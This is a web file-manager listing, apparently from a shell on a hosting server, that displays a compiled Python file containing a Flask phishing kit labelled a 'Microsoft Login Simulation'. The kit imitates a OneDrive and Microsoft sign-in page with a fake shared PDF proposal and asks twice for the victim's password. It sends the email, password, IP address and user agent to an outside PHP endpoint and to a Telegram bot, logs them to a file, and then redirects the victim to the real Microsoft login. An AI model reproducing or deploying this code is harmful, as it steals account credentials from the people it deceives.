HEX
Server: LiteSpeed
System: Linux altaruk3.supremepanel3.co.uk 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: imperialpark (2283)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: /home/imperialpark/myapp/__pycache__/task_manager.cpython-310.pyc
o

xE�i4$�@s2dZddlZddlZddlZddlZddlZddlZddlmZm	Z	m
Z
mZmZm
Z
ee�ZdZdZdZdZdZd(dd�Zd
d�Zdd�Zdd�Ze�d�dd��Zejddgd�dd��Ze�d�dd��Zedkr�ed�ed �ed�ed!�ed"e���ed#e���ed�ejd$d%d&d'�dSdS))uF
OneDrive → Microsoft Login Simulation
Python Flask Web Application
�N)�Flask�render_template_string�request�jsonify�redirect�url_for�YOUR_BOT_TOKEN_HERE�YOUR_CHAT_ID_HEREz-https://medltempus.com/wp/telegram_sender.phpzhttps://login.microsoft.comu�

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>OneDrive → Microsoft Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style>
  /* ... (CSS styles from your original HTML) ... */
</style>
</head>
<body>

<div class="topbar">OneDrive</div>

<div class="stage">

  <!-- SCREEN 0 - Loading Envelope Screen -->
  <div id="loadingScreen" class="screen loading-screen">
    <div class="envelope-container">
      <div class="envelope">
        <div class="envelope-icon">✉️</div>
      </div>
      <div class="loading-text">Loading secure content</div>
      <div class="loading-subtext">Checking your access permissions</div>
      <div class="loading-dots">
        <div class="dot"></div>
        <div class="dot"></div>
        <div class="dot"></div>
      </div>
    </div>
  </div>

  <!-- SCREEN 1 - Email -->
  <div id="screen1" class="screen hidden">
    <div>
      <div class="card center">
        <div class="logo" style="justify-content:center;">
          <div class="logo-box">
            <div></div><div></div><div></div><div></div>
          </div>
          Microsoft
        </div>

        <h2>View PROPOSAL</h2>

        <div class="text">You have received a secure link:</div>

        <div class="file">
          <div class="file-icon">PDF</div>
          <div>F324.pdf</div>
        </div>

        <div class="text">
          To open this secure link, enter the email this item was shared to.
        </div>

        <input id="emailInput" placeholder="Enter your email" />
        <div class="error-message" id="emailError">Please enter a valid email address</div>

        <button id="emailButton" onclick="checkEmail()">Next</button>
      </div>

      <div class="text center" style="margin-top:12px;">
        Privacy & Cookies
      </div>
    </div>
  </div>

  <!-- SCREEN 2 - First Password -->
  <div id="screen2" class="screen login-bg hidden">
    <div class="card">
      <div class="logo">
        <div class="logo-box">
          <div></div><div></div><div></div><div></div>
        </div>
        Microsoft
      </div>

      <div class="back" onclick="returnToEmail()">← <span id="backEmail"></span></div>

      <h2>Enter password</h2>

      <input type="password" id="password1" placeholder="Password" />
      <div class="error-message" id="password1Error">Please enter your password</div>

      <div class="link">Forgot my password</div>

      <button id="password1Button" onclick="saveFirstPassword()">Next</button>
    </div>
  </div>

  <!-- SCREEN 3 - Second Password -->
  <div id="screen3" class="screen login-bg hidden">
    <div class="card">
      <div class="logo">
        <div class="logo-box">
          <div></div><div></div><div></div><div></div>
        </div>
        Microsoft
      </div>

      <div class="back" onclick="returnToFirstPassword()">← <span id="backEmail2"></span></div>

      <h2>Confirm password</h2>
      
      <div class="text">
        Please re-enter your password for verification.
      </div>

      <input type="password" id="password2" placeholder="Re-enter password" />
      <div class="error-message" id="password2Error">Please re-enter your password</div>

      <div class="link">Forgot my password</div>

      <button id="password2Button" onclick="completeLogin()">Sign in</button>
    </div>
  </div>

</div>

<script>
// JavaScript client-side code (same as before)
// ... (include your existing JavaScript here)
</script>

</body>
</html>
�,�cCs"t�|d|d�}t�|�dS)zSimulate human-like delayi�N)�randomZuniform�time�sleep)Zmin_msZmax_msZdelay�r�task_manager.py�random_delay�src	
Cs�|sztjddd�}|���dd�}Wnd}Y||||||d�}ztjt|dd�}td	|j���Wd
StyX}ztd|���t||||||�WYd}~Sd}~ww)
z2Send data to Telegram via PHP endpoint or directlyz!https://api.ipify.org?format=json�)�timeout�ip�Unknown)�email�password�
attempt_count�total_attemptsr�
user_agent�
��datarzData sent to PHP endpoint: TzError sending to PHP endpoint: N)	�requests�get�json�post�PHP_ENDPOINT�print�status_code�	Exception�send_direct_to_telegram)	rrrr�
ip_addressr�responser�errr�send_to_telegram�s,�
��r*c
Cs:tdkstdkrtd�dSt�d�}d|�d|�d�}|d	|�d
�7}|d|�d�7}|d
|�d�7}|d|�d|�d
�7}|d|�d�7}|d|�d
�7}||krW|d7}dt�d�}t|dd�}	ztj||	dd�}
|
jdkrxtd�WdStd|
j���WdSt	y�}ztd|���WYd}~dSd}~ww)z.Send data directly to Telegram (backup method)rr	zTelegram bot not configuredF�%Y-%m-%d %H:%M:%Su📧 *PASSWORD ATTEMPT �/u* 📧

u
📅 *Time:* �
u📧 *Email:* `z`
u🔑 *Password:* `u🎯 *Attempt:* z of u🌐 *IP Address:* `u🖥️ *User Agent:* u1
⚠️ *LAST ATTEMPT - User will be redirected*
zhttps://api.telegram.org/botz/sendMessage�Markdown)�chat_id�text�
parse_moderr��zData sent directly to TelegramTzTelegram API error: zError sending to Telegram: N)
�	BOT_TOKEN�CHAT_IDr#r
�strftimerr!r$r0r%)rrrrr'r�	timestamp�message�urlrr(r)rrrr&�s<
�
��r&c	Cs�t�d�}d|�d|�d|�d�}|d|�d�7}|d|�d�7}|d|�d�7}|d	|�d�7}|d
7}tdd��}|�|�Wd
�d
S1sKwYd
S)z"Log credentials to file (optional)r+�[z] - Attempt r,r-zEmail: z
Password: zIP: zUser Agent: z4--------------------------------------------------

zlogin_logs.txt�aN)r
r5�open�write)	rrr'rrrr6Z	log_entry�frrr�log_to_file�s
"�r>r,cC�tt�S)zServe the main HTML page)r�
HTML_TEMPLATErrrr�index��rAz/collectZPOST)�methodsc	Cs�tjrt��}ntj��}|�dd�}|�dd�}t|�dd��}t|�dd��}tj}tj�dd	�}t	d
|�d|�d|�d
|���t
||||||�t||||||�tddi�S)zEndpoint to collect credentialsr�rr�r�z
User-AgentrzReceived: Email=z, Password=z
, Attempt=r,ZsuccessT)
rZis_jsonZget_jsonZformZto_dictr�intZremote_addr�headersr#r*r>r)rrrrrr'rrrr�collect_datas

 rIz	/redirectcCr?)zRedirect to Microsoft login)r�REDIRECT_URLrrrr�redirect_to_microsoftrBrK�__main__z2==================================================z#OneDrive Microsoft Login Simulationz+Server will start at: http://localhost:5000zPHP Endpoint: zRedirect URL: Tz0.0.0.0i�)�debugZhostZport)r
r)�__doc__�os�base64rr
r rZflaskrrrrrr�__name__Zappr3r4r"rJr@rr*r&r>ZrouterArIrKr#�runrrrr�<module>sF 
 '


�